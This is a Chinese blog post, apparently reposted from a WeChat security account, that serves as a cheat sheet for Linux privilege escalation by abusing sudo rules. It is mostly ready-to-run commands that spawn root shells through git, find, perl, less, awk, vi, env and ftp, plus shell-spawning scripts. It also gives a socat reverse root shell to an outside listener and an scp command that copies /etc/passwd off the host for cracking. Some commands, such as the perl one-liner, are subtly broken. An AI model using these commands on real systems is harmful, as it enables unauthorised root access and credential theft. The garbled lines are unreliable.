利用sudo进行linux提权
sudo
sudo(super user do)提升一个命令的执行权限,以root权限执行,执行sudo需要输入当前用户的密码。
sudoers文件
/etc/sudoers文件,是sudo权限的配置文件。当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限。
sudo su和sudo bash
如果对普通用户的限制不严格,或者配置权限过大时,就可以通过sudo su切换到root权限。
或者执行sudo bash
git命令提权
当sudo允许执行git命令时,可以利用git提权。
1:
sudo git help config
!/bin/bash
2:
sudo git -p help
!/bin/bash
执行sudo git help config命令进入git帮助文档,输入!/bin/bash回车即可。
sudo git -p help同理。
其他命令
这里添加新用户aaa,并修改sudoers文件,允许部分命令,内容如下。
aaa ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi
这时aaa用户使用sudo就只能执行配置好的命令,sudo su和sudo bash被禁止执行。
利用find命令提权
exec参数用来指定搜索结果的处理命令,需要以分号结尾,分号在命令行有特殊函数,要用进行转 义。
sudo find / -exec "/bin/bash" ;
利用perl命令提权
e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash。
sudo perl -e '-exec "/bin/bash";'
利用less命令提权
输入sudo less /etc/hosts命令浏览文件内容时,到底部输入!bash后回车,会获得一个root权限的shell。
利用awk命令提权
通过调用linux的system函数来打开bash。
sudo awk 'BEGIN {system("/bin/bash")}'
利用man命令提权
通过sudo man man命令来打开man的使用手册,同时会进入编辑行,输入!bash回车,可获取root权限。
通过vi命令提权
sudo vi会进入vi默认页,输入:!bash回车,可进入root命令行。
利用脚本提权
如果sudoers定义了某个可执行脚本,我们就可以把返回shell的代码添加进去。
例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,sudo运行即可。
参考代码如下:
#! /bin/bash # aaa.sh
/bin/bash
————————————————————————————————————————
#! /usr/bin/python # aaa.py
import os
os.system("/bin/bash")
————————————————————————————————————————
#include<stdio.h> # aaa.c
#include<unistd.h>
#include<sys/types.h>
int main()
{
setuid(geteuid())
system("/bin/bash");
return 0;
}
应用程序
一些应用程序也可以提权,如env、ftp、socat、scp等。
env
通过env环境变量来获取root权限。
sudo env /bin/bash
ftp
通过ftp来进入bash获取root权限。
sudo ftp
socat
通过socat客户端连接服务端,服务端可获得rootshell。先执行服务端,后执行客户端。
服务端执行:
socat file:`tty`,raw,echo=0 tcp-listen:4444
客户端执行:
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.23.128:4444
服务端执行。
客户端执行。
这时Kali会返回一个客户端的rootshell。
scp
scp是一个安全复制文件的命令,它无法获取一个shell,但可以用来复制一些系统的敏感文件。例如etc/passwd、etc/shadow等。
如下命令,将passwd文件传输到指定机器的root/桌面下,然后再对密码进行破解等操作。
sudo scp /etc/passwd [email protected]:/root/桌面
黑名单情况
如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。
总结
愿大家健康开心。
原文始发于微信公众号(AlertSec):利用sudo进行linux提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论